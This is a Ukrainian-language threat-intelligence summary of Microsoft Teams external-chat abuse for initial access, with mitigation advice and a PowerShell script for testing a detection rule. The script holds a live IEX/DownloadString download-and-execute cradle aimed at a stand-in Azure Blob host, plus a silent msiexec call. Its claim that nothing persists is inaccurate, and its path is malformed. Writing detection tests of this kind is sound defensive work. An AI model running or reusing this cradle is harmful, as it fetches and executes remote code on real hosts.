Зловживання зовнішнім чатом Microsoft Teams забезпечує початковий доступ

Резюме

Зловмисні діячі зловживають функціями зовнішнього чату Microsoft Teams для проведення шахрайських схем з підробленням особистості та доставки шкідливих файлів. Нападники використовують технічні назви відображення та одноразові орендарі Microsoft 365, щоб здаватися легітимними та здобути довіру жертв. Після встановлення контакту вони часто використовують вішинг та інструменти віддаленого моніторингу та управління (RMM) для отримання доступу до клавіатури.

Розслідування

Arctic Wolf проаналізувала понад 400 інцидентів, що стосуються зловживання зовнішнім чатом Microsoft Teams. Розслідування виявило постійну схему, у якій масова розсилка створювала терміновість перед тим, як нападники контактували жертв через Teams, підробляючись під ІТ-підтримку. Дослідники також спостерігали перехід від .onmicrosoft.com орендарів на цільові .top домени для підготовки корисного навантаження.

Пом’якшення

Організації повинні замінити відкриту політику зовнішнього доступу на список дозволених надійних доменів у центрі адміністрування Teams. Також рекомендується вимкнути чат з некерованими або споживчими обліковими записами Teams. Обмеження інструментів, таких як Quick Assist, та блокування незатвердженого програмного забезпечення RMM можуть ще більше знизити ризик подальшої експлуатації.

Відповідь

Коли виявляється підозріла активність зовнішнього чату Teams, організації повинні перевірити особу запитувача через канал зв’язку поза мережею. Команди безпеки повинні корелювати ChatCreated події з телеметрією кінцевих точок та ідентичності, щоб виявити потенційний компроміс. Швидке ізолювання уражених хостів та відкликання сесійних токенів для потенційно скомпрометованих користувачів є критично важливим.

Виконання симуляції

• Опис атаки та команди: Метою противника є встановлення стійкості шляхом інсталяції шкідливого сервісу. Щоб уникнути виявлення, вони намагаються завантажити корисне навантаження з публічного контейнера зберігання Azure Blob. Вони використовують PowerShell “однорядковий” сценарій, який поєднує Invoke-Expression (обозначено як IEX) з URL, що вказує на blob.core.windows.net. Як тільки скрипт виконується в пам’яті, це запускає виконання msiexec.exe для установки кінцевого корисного навантаження, завершуючи ланцюг від початкової команди до системного рівня установки.

• Сценарій регресійного тестування:

  # Симуляційний сценарій: Виконання корисного навантаження через PowerShell та Azure Blob
  # Цей сценарій імітує точні шаблони, які шукає правило.
  
  $TargetUrl = "https://malicious-payload.blob.core.windows.net/downloads/installer.msi"
  $FakeIEX = "IEX"
  
  Write-Host "[+] Імітується виконання блоку сценарію PowerShell з URL Azure Blob..."
  # Цей рядок активує логіку EventID 4104 (IEX + blob.core.windows.net)
  Invoke-Expression "Write-Output 'Завантаження з $TargetUrl...'; $FakeIEX (New-Object Net.WebClient).DownloadString('$TargetUrl')"
  
  Write-Host "[+] Імітується виконання MSI..."
  # Цей рядок активує логіку EventID 4688 (msiexec.exe)
  Start-Process "msiexec.exe" -ArgumentList "/i C:WindowsSystem32setup.msi /quiet" -ErrorAction SilentlyContinue

• Команди очищення:

  # Очищення: Це симуляційний сценарій не створює жодних постійних файлів
  # оскільки використовує підроблені URL та стандартні системні шляхи MSI.
  Write-Host "[+] Симуляція завершена. Жодних артефактів не залишено на системі."